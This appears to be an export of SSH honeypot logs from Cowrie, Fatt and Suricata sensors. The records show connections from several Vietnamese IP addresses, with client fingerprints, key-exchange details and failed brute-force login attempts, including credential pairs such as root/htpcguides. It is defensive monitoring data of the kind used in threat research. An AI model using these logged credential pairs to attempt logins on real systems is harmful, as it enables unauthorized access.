22441	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:05.047086+03	2021-09-20 14:15:06.21947+03	{"_id": "awbjAnwBvYTbRNuEVQYq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "53556f190532", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:05.047086Z", "@timestamp": "2021-09-20T11:07:05.047Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22443	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:04.049043+03	2021-09-20 14:15:06.22147+03	{"_id": "fQbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44204, "timestamp": "2021-09-20T11:07:04.049043", "@timestamp": "2021-09-20T11:07:04.049Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22444	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:04.059188+03	2021-09-20 14:15:06.22347+03	{"_id": "fgbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 45932, "dest_port": 22, "timestamp": "2021-09-20T11:07:04.059188", "@timestamp": "2021-09-20T11:07:04.059Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
22445	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:04.426355+03	2021-09-20 14:15:06.22447+03	{"_id": "nAbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "4d1226e02b74", "@version": "1", "timestamp": "2021-09-20T11:07:04.426355Z", "@timestamp": "2021-09-20T11:07:04.426Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22446	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:04.679226+03	2021-09-20 14:15:06.225471+03	{"_id": "nQbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "8d54501e455c", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:04.679226Z", "@timestamp": "2021-09-20T11:07:04.679Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
22447	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:04.710708+03	2021-09-20 14:15:06.226471+03	{"_id": "ngbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [testuser/testuser123] failed", "session": "f5d5df5e4141", "@version": "1", "password": "testuser123", "username": "testuser", "timestamp": "2021-09-20T11:07:04.710708Z", "@timestamp": "2021-09-20T11:07:04.710Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22448	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:04.716898+03	2021-09-20 14:15:06.228472+03	{"_id": "nwbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "48da12aa7451", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:04.716898Z", "@timestamp": "2021-09-20T11:07:04.716Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
22449	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:07:04.330358+03	2021-09-20 14:15:06.230471+03	{"_id": "ggbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 44204, "dest_port": 22, "timestamp": "2021-09-20T11:07:04.330358", "@timestamp": "2021-09-20T11:07:04.330Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22450	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:04.400822+03	2021-09-20 14:15:06.23247+03	{"_id": "gwbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54150, "timestamp": "2021-09-20T11:07:04.400822", "@timestamp": "2021-09-20T11:07:04.400Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22451	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:05.162149+03	2021-09-20 14:15:06.23347+03	{"_id": "ogbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/htpcguides] failed", "session": "76c7f33eac55", "@version": "1", "password": "htpcguides", "username": "root", "timestamp": "2021-09-20T11:07:05.162149Z", "@timestamp": "2021-09-20T11:07:05.162Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22452	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:04.932799+03	2021-09-20 14:15:06.23447+03	{"_id": "owbjAnwBvYTbRNuEVwaq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1645002192637280, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 56258, "dest_port": 22, "timestamp": "2021-09-20T11:07:04.932799Z", "@timestamp": "2021-09-20T11:07:04.932Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22453	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:07:05.921094+03	2021-09-20 14:15:06.23647+03	{"_id": "pQbjAnwBvYTbRNuEVwaq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1208633515405442, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 35692, "dest_port": 22, "timestamp": "2021-09-20T11:07:05.921094Z", "@timestamp": "2021-09-20T11:07:05.921Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
